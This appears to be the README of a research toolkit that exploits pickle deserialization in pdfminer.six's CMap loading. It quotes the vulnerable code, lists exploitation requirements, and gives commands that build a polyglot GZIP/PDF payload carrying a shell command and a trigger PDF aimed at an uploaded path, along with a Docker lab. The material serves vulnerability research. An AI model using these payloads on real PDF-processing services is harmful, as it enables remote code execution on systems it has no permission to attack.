Pdfminer CMap Generator

A security research toolkit for analyzing pickle deserialization vulnerabilities in pdfminer.six through CMap resource loading mechanisms.

Vulnerability Summary

Background

• pdfminer.six <= ALL（Until 2025.10.27）

Exploitation Requirements:

• Malicious PDF and GZIP upload capability
• Application process PDF with pdfminer.six
• Attacker-controlled .pickle.gz file accessible at predictable path
• Knowledge of target filesystem structure

Technical Details

Vulnerability Forms:

1. ToUnicode usecmap
   • Works with any font type (Type0/Type1/TrueType)
   • Uses /ToUnicode stream with usecmap instruction referencing absolute path to .pickle.gz file
2. Type0 Font Encoding
   • Requires Type0 font with /Encoding field containing absolute path to .pickle.gz file
3. XObject Path Traversal
   • Limited impact due to forced file extensions

The vulnerability of CMapDB lies in pdfminer/cmapdb.py:33:

def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")
    filename = "%s.pickle.gz" % name
    for directory in cmap_paths:
        path = os.path.join(directory, filename)
        if os.path.exists(path):
            gzfile = gzip.open(path)
            return type(str(name), (), pickle.loads(gzfile.read()))

Complete call chains and technical analysis available in:

• English Research Document
• Chinese Research Document

Usage

Installation

cd src/ && pip install -r requirements.txt

Generating Polyglot GZIP/PDF Payload

python src/pcg.py build -t gzip -p "echo 123 > 1.txt"

Generating Trigger PDF

python src/pcg.py build -t pdf -ptt encoding -ep "/proc/self/cwd/uploads/payload"
python src/pcg.py build -t pdf -ptt traversal -ep "/proc/self/cwd/uploads/payload"

Environment

Docker testing environment is provided in research/lab/pdf2text_debug/

cd research/lab/pdf2text_debug
docker-compose up --build

# Access at http://localhost:11452
# Debug endpoints: /_dbg/trace, /_dbg/openlog, /_dbg/head

The environment includes:

• Flask application with PDF upload endpoint
• Monkey-patched pickle.loads() for deserialization logging

References

https://github.com/un1novvn

https://github.com/pdfminer/pdfminer.six

https://blog.wm-team.cn/index.php/archives/86/

https://www.cnblogs.com/L1nq/p/19124085